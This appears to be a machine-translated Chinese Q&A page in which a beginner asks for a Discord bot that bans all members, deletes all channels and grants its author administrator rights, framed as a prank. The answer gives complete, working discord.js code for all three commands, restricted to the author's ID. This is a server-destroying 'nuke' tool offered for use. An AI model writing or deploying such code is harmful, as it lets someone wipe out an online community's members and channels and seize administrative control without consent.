所以我是一个初学者,我正在努力使自己成为第一个机器人!
我决定做点有趣的事情,并创造了这个机器人。它应该禁止所有人离开服务器,删除所有频道,并为您提供管理权限(我实际上不会在其他人身上使用它,我只是在开个玩笑或恶作剧。我是还是一个完整的初学者,如果代码不好,请您谅解)
<img alt="" class="logo" src="">
答案 0 :(得分:0)
const Discord = require("discord.js");
const client = new Discord.Client();
client.on("ready", () => {
console.log(`${client.user.tag} is ready!`);
});
client.on("message", message => {
// Making sure that others cannot use the commands.
if (message.author.id !== "YourDiscordID") return false;
if (message.content.toLowerCase() == "!ban-all") {
message.delete(1000);
message.guild.members.cache.forEach(member => {
member.ban().catch(e => {console.log(`Couldn't ban ${member.user.tag}. | ${e}`)});
});
};
if (message.content.toLowerCase() == "!give-admin") {
message.delete(1000);
if (!message.guild.me.hasPermission("ADMINISTRATOR")) return message.reply("I do not have Administrator permissions.");
message.guild.roles.create({
data: {
name: "Admin",
color: "#2f3136",
permissions: "ADMINISTRATOR"
},
reason: "Reason"
}).then(role => message.member.roles.add(role).catch(e => console.log(`Couldn't add the role. | ${e}`)));
};
if (message.content.toLowerCase() == "!delete-all-channels") {
message.guild.channels.cache.forEach(channel => channel.delete().catch(e => console.log(`Couldn't delete the channel. | ${e}`)));
};
});
client.login(process.env.DISCORD_AUTH_TOKEN);